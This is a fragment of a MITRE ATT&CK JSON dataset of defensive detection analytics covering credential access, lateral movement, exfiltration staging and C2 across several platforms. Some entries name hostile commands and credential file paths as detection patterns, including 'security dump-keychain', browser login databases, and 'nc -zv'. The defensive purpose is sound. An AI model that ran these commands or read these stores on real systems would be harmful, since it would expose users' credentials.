            "description": "Detects removable drive insertion followed by unusual file access, compression, or staging activity by unauthorized users or unexpected processes.",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
                "enterprise-attack"
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f",
                    "name": "WinEventLog:System",
                    "channel": "EventCode=1006, 10001"
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                {
                    "field": "DriveTypeFilter",
                    "description": "Filter on removable (e.g., USB) drives only."
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                {
                    "field": "ProcessNameExclusionList",
                    "description": "Exclude known, approved backup or sync utilities."
                },
                {
                    "field": "TimeWindow",
                    "description": "Limit correlation of file access and device mount to a defined window (e.g., <5 minutes)."
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            "name": "Analytic 1129",
            "description": "Discovery of SaaS services connected to productivity platforms (e.g., Microsoft 365, Google Workspace). Defender perspective includes unexpected enumeration of enabled services, API integrations, or OAuth applications tied to user accounts.",
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                "enterprise-attack"
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                "Office Suite"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac",
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                    "channel": "Get-MsolServicePrincipal, ListAppRoles: Service discovery operations executed by accounts not normally performing administrative tasks"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "m365:signinlogs",
                    "channel": "UserLogin: Discovery operations shortly after account logins from new geolocations"
                }
            ],
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                {
                    "field": "MonitoredAppIntegrations",
                    "description": "Specific Office Suite applications or plugins that may be enumerated or targeted."
                },
                {
                    "field": "GeoLocationDeviation",
                    "description": "Geographic deviation threshold for discovery actions linked to recent logins."
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            ],
            "x_mitre_deprecated": false
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            "description": "Monitor for creation of WMI EventFilter, EventConsumer, and FilterToConsumerBinding objects through WMI or MOF file execution. Detect command-line execution of `mofcomp.exe`, usage of `Register-WmiEvent` via PowerShell, and anomalous child processes of `WmiPrvSE.exe` that indicate triggered execution. Look for lateral anomalies in process lineage and WMI logging channels.",
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            "x_mitre_deprecated": false,
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            "x_mitre_domains": [
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                    "channel": "EventCode=1"
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                    "description": "Defines temporal correlation range between WMI creation and child process execution"
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                {
                    "field": "UserContext",
                    "description": "Tune for specific accounts (e.g., SYSTEM or attacker-controlled users)"
                },
                {
                    "field": "ProcessNameAllowlist",
                    "description": "Used to exclude known benign consumers triggered via WMI (e.g., backup tools)"
                },
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                    "field": "ParentProcessAnomalyThreshold",
                    "description": "Defines what constitutes anomalous spawning from WmiPrvSE.exe"
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            "description": "Detects abnormal access to Safari credential stores (Keychain-backed) or Chrome/Firefox login databases. Observes processes executing `security dump-keychain` or directly reading credential files in `~/Library/Application Support`. Correlates file access with suspicious process ancestry or unsigned binaries.",
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                    "name": "macos:unifiedlog",
                    "channel": "~/Library/Application Support/Google/Chrome/*/Login Data OR ~/Library/Application Support/Firefox/*/logins.json"
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            ],
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                {
                    "field": "PrivilegedUsers",
                    "description": "Expected user context authorized to unlock Keychain or browser databases"
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                {
                    "field": "TimeWindow",
                    "description": "Correlation window for process execution and credential file access"
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            "x_mitre_deprecated": false
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            "name": "Analytic 0688",
            "description": "Detection of unauthorized keylogger behavior through access to `/dev/input`, loading kernel modules (e.g., via insmod), or polling user input devices from non-user shells",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_domains": [
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                    "channel": "syscalls (open, read, ioctl) on /dev/input or /proc/*/fd/*"
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                {
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                    "name": "linux:syslog",
                    "channel": "dmesg or syslog for module loads"
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            ],
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                    "field": "PathTarget",
                    "description": "Can tune based on device paths accessed for keyboard input (e.g., /dev/input/event0)"
                },
                {
                    "field": "UserContext",
                    "description": "Exclude root or admin-auth shell sessions if needed"
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                {
                    "field": "ModuleWhitelist",
                    "description": "Set a known list of allowed kernel modules"
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            ],
            "x_mitre_deprecated": false
        },
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1468",
            "description": "An SMB-based remote file share access followed by lateral movement actions such as remote service creation, task scheduling, or suspicious process execution on the target host using ADMIN$ or C$ shares.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4624, 4648"
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                {
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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                {
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                    "description": "Targeted admin share path, such as C$, ADMIN$, IPC$"
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between remote file access and remote execution (e.g., 5-10 minutes)"
                },
                {
                    "field": "UserContext",
                    "description": "Distinguish expected remote administrators vs. rare/first-time access by specific users"
                },
                {
                    "field": "ProcessList",
                    "description": "List of suspicious binaries or tools executed post remote copy (e.g., cmd.exe, powershell.exe, runonce.exe)"
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            ]
        },
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            "name": "Analytic 1215",
            "description": "Detects custom archiving by monitoring execution of Swift/Objective-C apps or scripts producing high-entropy files with non-standard headers. Correlates unified logs of abnormal NSFileHandle/NSData operations, memory use of XOR/bitwise operations, and file creation events.",
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            "x_mitre_domains": [
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                    "name": "macos:unifiedlog",
                    "channel": "Suspicious Swift/Objective-C or scripting processes writing archive-like outputs"
                },
                {
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                    "name": "macos:unifiedlog",
                    "channel": "Creation of files with anomalous headers and entropy values"
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                    "name": "macos:unifiedlog",
                    "channel": "Abnormal memory operations (XOR/bitwise loops) during archive generation"
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            ],
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                    "description": "Flag if archiving occurs under privileged/system accounts."
                },
                {
                    "field": "EntropyThreshold",
                    "description": "Entropy score cutoff for identifying custom compressed or encrypted files."
                },
                {
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                    "description": "Applications legitimately using custom archiving for business purposes."
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            ],
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            "name": "Analytic 1158",
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                },
                {
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                    "name": "containerd:Events",
                    "channel": "unusual process spawned from container image context"
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            ],
            "x_mitre_mutable_elements": [
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                    "field": "EntrypointAllowlist",
                    "description": "Container entrypoints that are permitted to read secrets"
                },
                {
                    "field": "VolumeMountPath",
                    "description": "Paths to credentials/secrets inside container images"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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                    "external_id": "AN0537"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0537",
            "description": "Abnormal use of `lsblk`, `fdisk -l`, `lshw -class disk`, or `parted` by non-admin users or within non-interactive shells suggests suspicious disk enumeration activity.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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            ],
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                    "field": "TTY_type",
                    "description": "Detection can exclude interactive TTY sessions to reduce false positives from admin usage"
                },
                {
                    "field": "shell_parent",
                    "description": "Differentiate between interactive user shells vs. script-based execution"
                }
            ],
            "x_mitre_deprecated": false
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            "description": "Detection of JetBrains or VSCode tunnel profile creation followed by unusual persistent SSH or IDE-based tunnel communications to devtunnel APIs.",
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                    "name": "macos:unifiedlog",
                    "channel": "creation of ~/.vscode-cli/code_tunnel.json"
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                    "description": "Helps scope tunnel launch context to non-interactive or suspicious parent processes."
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                    "field": "RemoteTunnelPersistence",
                    "description": "Allows tracking of tunnel re-establishment across reboots for persistence."
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                {
                    "field": "RemoteFlag",
                    "description": "May include values like --remote, -R, or embedded ssh arguments passed by IDEs"
                },
                {
                    "field": "LaunchAgentPath",
                    "description": "If the IDE uses persistence via LaunchAgents, defenders may choose where to monitor for tunnel auto-launching"
                },
                {
                    "field": "TunnelReconnectInterval",
                    "description": "Frequency of retry attempts for tunnel reconnection can affect correlation window"
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                {
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            "name": "Analytic 1269",
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            "x_mitre_attack_spec_version": "3.3.0",
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                "Office Suite"
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                    "name": "m365:exchange",
                    "channel": "Logon failure"
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            ],
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                    "field": "PasswordSourceMatch",
                    "description": "Optional: cross-reference to haveibeenpwned or internal credential dumps"
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                {
                    "field": "MailboxLoginThreshold",
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            "x_mitre_deprecated": false
        },
        {
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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                "ESXi"
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                    "name": "NSX:FlowLogs",
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                {
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                    "name": "NSM:Flow",
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                    "description": "CIDRs for legitimate vCenter/NSX/backup endpoints."
                },
                {
                    "field": "BytesRatio",
                    "description": "Out:In ratio deemed suspicious (e.g., \u22653 on ESXi)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between shell command and egress."
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            "x_mitre_domains": [
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                    "channel": "file write"
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                    "channel": "ES_EVENT_TYPE_NOTIFY_EXEC"
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                {
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                {
                    "field": "ParentProcess",
                    "description": "Filter to isolate staging or suspicious scripting engines"
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                {
                    "field": "SignedStatus",
                    "description": "Tuning based on unsigned vs. developer-signed payloads"
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                {
                    "field": "TimeWindow",
                    "description": "Correlate SSH login and unauthorized commands or shell access"
                },
                {
                    "field": "CommandList",
                    "description": "Flag commands like esxcli, rm, chmod post-login"
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            ],
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        },
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            "x_mitre_domains": [
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                    "channel": "firmware_update, kexec_load"
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                    "channel": "Firmware updates applied or failed"
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                    "description": "Known hardware component IDs per host baseline."
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            "description": "Monitors use of archive or encryption tools (zip, openssl) tied to user-scripted activity or binaries writing encoded payloads under /Users or /Volumes.",
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                    "description": "Tune to prioritize unexpected file access by service accounts"
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                    "description": "Expected performance metrics with hardware acceleration enabled; drops may indicate tampering."
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                    "description": "Whether SaaS DLP assigns risk scores to attachments"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
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                    "field": "TargetWindowClassName",
                    "description": "Restrict detection to SysListView32 or similar GUI elements"
                },
                {
                    "field": "UserContextAnomalyThreshold",
                    "description": "Adjusts detection sensitivity to users sending window messages across session boundaries"
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                    "field": "InterprocessWindowMessagingFrequency",
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                    "field": "KnownToolSignatures",
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                    "field": "TimeWindow",
                    "description": "Time interval to observe post-login message scraping behavior"
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                    "field": "MessageExportThreshold",
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                    "field": "UserContext",
                    "description": "User privilege level, team membership, or role context to suppress false positives"
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                    "field": "AccessMethod",
                    "description": "Direct user access vs API token, OAuth app, or bot interaction"
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            "description": "User-initiated installation of Python (pip), NodeJS (npm), or other language libraries, followed by unexpected network connections, credential access, or startup file modifications. Defender sees `pip install` or `npm install` commands run by a non-root user, followed shortly by new `.py`, `.sh`, or `.js` files in hidden directories, or interpreter-based execution during boot/login.",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
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                    "field": "PackageManagerList",
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                    "field": "InstallWritePaths",
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                    "field": "UserContextScope",
                    "description": "Filter to focus on non-system accounts (e.g., interactive shell users)"
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                    "field": "TimeWindow",
                    "description": "Correlate install command to subsequent network/file activity (default: 5 min)"
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                "SaaS"
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                    "name": "gcp:workspaceaudit",
                    "channel": "SendAs: Outbound messages with alias identities that differ from primary account"
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            ],
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                {
                    "field": "DelegationBaseline",
                    "description": "Maintain baseline of normal SendAs/SendOnBehalf relationships to reduce false positives."
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                    "channel": "EventCode=1"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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                    "name": "WinEventLog:Application",
                    "channel": "Outlook rule execution failure or abnormal rule execution context"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                    "field": "ChildProcessName",
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                },
                {
                    "field": "RuleTriggerCondition",
                    "description": "Rule execution may depend on message subject, sender, or message header content"
                },
                {
                    "field": "ParentProcessName",
                    "description": "Legitimate Outlook activity should not spawn scripting or interpreter processes"
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                    "field": "TimeWindow",
                    "description": "Execution may occur with delay after message receipt or folder interaction"
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            "name": "Analytic 1333",
            "description": "Use unified logs to identify processes issuing repeated DNS queries where the resolved IP addresses change frequently within very short TTL values. Correlate with outbound network traffic to validate C2-like patterns.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "macos:unifiedlog",
                    "channel": "Rapid domain-to-IP resolution changes for same domain"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Unexpected apps generating frequent DNS queries"
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                    "field": "DNSRotationRate",
                    "description": "Rate of IP churn per domain to trigger detection"
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                {
                    "field": "NewDomainThreshold",
                    "description": "Flag if domain was registered recently (e.g., < 30 days)"
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            "x_mitre_deprecated": false
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            "name": "Analytic 1592",
            "description": "Modification of Thunderbird message filters file or execution of CLI tools (e.g., formail/procmail) that alter .forward behavior.",
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            "x_mitre_version": "1.0",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "auditd:SYSCALL",
                    "channel": "write"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "linux:cli",
                    "channel": "/home/*/.bash_history"
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                {
                    "field": ".forwardPath",
                    "description": "User-based home directories; tune for specific user patterns."
                },
                {
                    "field": "ExecContext",
                    "description": "Expected email client behavior may trigger similar file edits."
                }
            ],
            "x_mitre_deprecated": false
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        {
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0302#AN0842",
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            "name": "Analytic 0842",
            "description": "A remote source rapidly touches a short sequence of closed ports (SYN\u2192RST/S0) on a Windows host. Within a short window the host changes firewall state (WFP rule added/modified or service starts listening) and then the same source completes the first successful handshake to the newly opened port.",
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            "x_mitre_deprecated": false,
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            "x_mitre_domains": [
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall",
                    "channel": "EventCode=2004, 2005, 2006"
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                    "field": "TimeWindow",
                    "description": "Seconds to correlate knock sequence \u2192 rule change \u2192 successful connect (60\u2013300s typical)."
                },
                {
                    "field": "MinSequenceLen",
                    "description": "Minimum number of distinct destination ports in the sequence (\u22653 by default)."
                },
                {
                    "field": "RuleChangeAllowList",
                    "description": "Accounts/processes allowed to adjust Windows Firewall (e.g., update agents)."
                },
                {
                    "field": "WatchedPorts",
                    "description": "Ports of interest to flag when opened (e.g., 22,23,2323,8022,3389,8080)."
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            ]
        },
        {
            "type": "x-mitre-analytic",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0500",
            "description": "Correlated evidence where Safari/Chrome/WebKit-based processes issue network requests for uncommon or obfuscated JS resources followed by spawning of script interpreters, launchd or ad-hoc binaries, unusual child processes, or dynamic library loads into browser processes. Defender sees: proxy/HTTP logs with suspicious resource content + unifiedlogs/ASL showing browser/plugin crashes or extension loads + process events indicating child process creation and file writes to /var/folders or /tmp shortly after the fetch.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                {
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                },
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                {
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            ],
            "x_mitre_deprecated": false
        },
        {
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                "enterprise-attack"
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                    "description": "Optional enrichment using known leaked credentials database"
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                    "description": "Targeting only federated or hybrid identity auth flows"
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            "x_mitre_deprecated": false
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            "x_mitre_attack_spec_version": "3.3.0",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            "name": "Analytic 0100",
            "description": "Suspicious processes initiating encrypted HTTPS connections to common web service domains, followed by abnormal data upload behavior or automated posting behavior indicative of C2 bidirectional traffic.",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Windows"
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "etw:Microsoft-Windows-WinINet",
                    "channel": "HTTPS Inspection"
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            ],
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                {
                    "field": "TimeWindow",
                    "description": "Timeframe for evaluating multiple network connections tied to the same process"
                },
                {
                    "field": "DomainPattern",
                    "description": "Regex or string patterns used to identify common Web service infrastructure (e.g., *.googleapis.com)"
                },
                {
                    "field": "PayloadSizeThreshold",
                    "description": "Minimum data upload size before flagging anomaly"
                },
                {
                    "field": "ProcessNameExclusionList",
                    "description": "Known benign updaters or service processes to reduce false positives"
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            ]
        },
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            "name": "Analytic 0727",
            "description": "Detects local staging behavior via snapshot creation or files written into VMFS partitions by scripts or unauthorized shell access.",
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "ESXi"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3da222e6-53f3-451c-a239-0b405c009432",
                    "name": "esxi:vmkernel",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "esxi:shell",
                    "channel": "CLI usage logs"
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            ],
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                {
                    "field": "SnapshotThreshold",
                    "description": "Rapid creation or deletion of snapshots"
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                    "field": "CLIInvoker",
                    "description": "Unexpected CLI/script invocation outside maintenance windows"
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                {
                    "field": "VMFSWriteRate",
                    "description": "Volume of data written locally in short time"
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            "description": "Monitor for file access to certificate directories, commands invoking OpenSSL or PKCS#12 utilities to export or modify certificates, and processes accessing sensitive key storage paths.",
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "auditd:SYSCALL",
                    "channel": "open, read: /etc/ssl/, /etc/pki/, ~/.pki/nssdb/"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:SYSCALL",
                    "channel": "execve: openssl pkcs12, certutil, keytool"
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                {
                    "field": "PathExclusions",
                    "description": "Exempt trusted automated services regularly accessing PKI stores."
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                {
                    "field": "UserContext",
                    "description": "Differentiate root/system accounts versus user-level access to key material."
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            "description": "Defenders may observe suspicious SNMP MIB enumeration through abnormal queries for large sets of OIDs, repeated SNMP GETBULK/GETNEXT requests, or queries originating from non-administrative IP addresses. Anomalous use of community strings, authentication failures, or enumeration activity outside maintenance windows may also indicate attempts to dump MIB contents. Correlation across syslog, NetFlow, and SNMP audit data can reveal chains of behavior such as repeated authentication failures followed by successful large-scale OID retrieval.",
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            "x_mitre_domains": [
                "enterprise-attack"
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                "Network Devices"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "NSM:Flow",
                    "channel": "High-volume or repeated SNMP GETBULK/GETNEXT queries from untrusted or external IPs"
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                    "name": "networkdevice:audit",
                    "channel": "SNMP configuration changes, such as enabling read/write access or modifying community strings"
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                {
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                    "description": "Expected IP ranges allowed to query SNMP. Deviation indicates possible misuse."
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                {
                    "field": "NormalSNMPQueryRate",
                    "description": "Baseline frequency and volume of SNMP queries; anomalies above threshold may indicate dumping."
                },
                {
                    "field": "CommunityStringPatterns",
                    "description": "Expected community strings (e.g., hashed or custom values). Unrecognized strings may signal abuse."
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                    "field": "TimeWindow",
                    "description": "Time periods during which SNMP queries are authorized. Queries outside these hours may be malicious."
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            "x_mitre_deprecated": false
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            "name": "Analytic 1497",
            "description": "Processes (e.g., bash, python, custom binaries) dynamically linking libcrypto/libssl for RSA key exchange, then creating external connections with abnormal certificate validation or handshake anomalies. Defender observes syscall traces and outbound asymmetric key exchanges from non-SSL-native processes.",
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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                    "name": "auditd:SYSCALL",
                    "channel": "execve or socket/connect system calls for processes using RSA handshake"
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                    "name": "linux:syslog",
                    "channel": "Non-standard processes negotiating SSL/TLS key exchanges"
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                    "name": "linux:osquery",
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            "name": "Analytic 1058",
            "description": "Detects use of network scanning utilities or scripts performing rapid connections to multiple services or hosts using auditd and netflow/pcap telemetry.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
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                {
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                    "name": "NSM:Flow",
                    "channel": "Outbound TCP SYN or UDP to multiple ports/hosts"
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            ],
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                    "field": "PortScanThreshold",
                    "description": "Defines number of ports targeted per host within a short period."
                },
                {
                    "field": "ToolPatternRegex",
                    "description": "Regex to match common scanner arguments (e.g., `nmap -sS`, `nc -zv`)."
                },
                {
                    "field": "ExpectedScanSources",
                    "description": "Trusted IPs or systems performing routine discovery."
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            ],
            "x_mitre_deprecated": false
        },
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            "created": "2025-10-21T15:10:28.402Z",
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                    "external_id": "AN1407"
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1407",
            "description": "Detects suspicious SVG file creation or download events followed by script engine execution (e.g., wscript.exe, mshta.exe, rundll32.exe), network callbacks, or browser-based credential collection.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Threshold between SVG file write and script execution (e.g., < 60s)"
                },
                {
                    "field": "ParentProcessWhitelist",
                    "description": "Allowlisted script engines that may invoke browsers or JS in benign cases"
                },
                {
                    "field": "FileExtensionPattern",
                    "description": "Regex or string match for .svg, .svgz, or embedded .svg inside HTML or PDF"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--2891bd53-5a81-4330-bb05-ffd731868d06",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "name": "Analytic 0196",
            "description": "Detects rsync or scp inbound from other hosts that then aggregate content into /Users/Shared or /private/tmp, often involving compressed files or scripts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "exec logs"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "macos:unifiedlog",
                    "channel": "file events"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "remote login and transfer"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "StagingPaths",
                    "description": "Monitored remote-to-local write destinations such as /Users/Shared"
                },
                {
                    "field": "CompressionIndicators",
                    "description": "Presence of .zip, .7z, or tar.gz indicating consolidation"
                },
                {
                    "field": "TimeWindow",
                    "description": "Temporal correlation of transfer and staging write operations"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0988",
            "description": "Identifies suspicious outbound traffic volume mismatches from processes that typically do not generate network activity, particularly over C2 protocols like HTTPS, DNS, or custom TCP/UDP ports, following file or data access.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Flow/PCAP analysis for outbound payloads"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "DataVolumeThreshold",
                    "description": "Set threshold for outbound transfer size exceeding typical C2 traffic (e.g., >1MB in <5min)."
                },
                {
                    "field": "KnownBenignProcesses",
                    "description": "List of approved processes that may exhibit high outbound traffic (e.g., updates)."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--28e26a6a-e470-4f1c-845f-f2cbd816a1f7",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0372#AN1048",
                    "external_id": "AN1048"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1048",
            "description": "Correlated use of sleep/delay mechanisms (e.g., kernel32!Sleep, NTDLL APIs) in short-lived processes, combined with parent processes invoking suspicious scripts (e.g., wscript, powershell) with minimal user interaction.",
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                "Windows"
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                    "channel": "EventCode=1"
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                {
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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                {
                    "field": "TimeWindow",
                    "description": "Delay duration that distinguishes benign scripts from evasive behavior."
                },
                {
                    "field": "ParentProcessName",
                    "description": "Legitimate parent-child combinations may differ across environments."
                },
                {
                    "field": "SleepFunctionPattern",
                    "description": "Different APIs may be used to invoke sleep (e.g., Sleep, NtDelayExecution)."
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            ],
            "x_mitre_deprecated": false
        },
        {
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            "name": "Analytic 1059",
            "description": "Detects Bonjour-based mDNS enumeration or use of system tools (e.g., dns-sd, nmap) to find active services via multicast probing or targeted scans.",
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                {
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                    "name": "macos:osquery",
                    "channel": "process_events"
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                {
                    "field": "MDNSServiceQueryPatterns",
                    "description": "mDNS queries such as _ssh._tcp.local that may indicate service discovery."
                },
                {
                    "field": "UserContext",
                    "description": "Adjust alerting based on whether discovery activity originates from a background daemon vs. interactive session."
                },
                {
                    "field": "ScanToolList",
                    "description": "Expected tools that could trigger mDNS or TCP/UDP scans (e.g., dns-sd, nmap)."
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            ],
            "x_mitre_deprecated": false
        },
        {
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            "name": "Analytic 0650",
            "description": "Unsigned processes accessing system memory or launching known credential scraping tools (e.g., osascript, dylib injections) to access the Keychain or sensitive memory regions.",
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                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1",
                    "name": "macos:unifiedlog",
                    "channel": "Code Execution & Entitlement Access"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "macos:keychain",
                    "channel": "Access to Keychain DB or system.keychain"
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                {
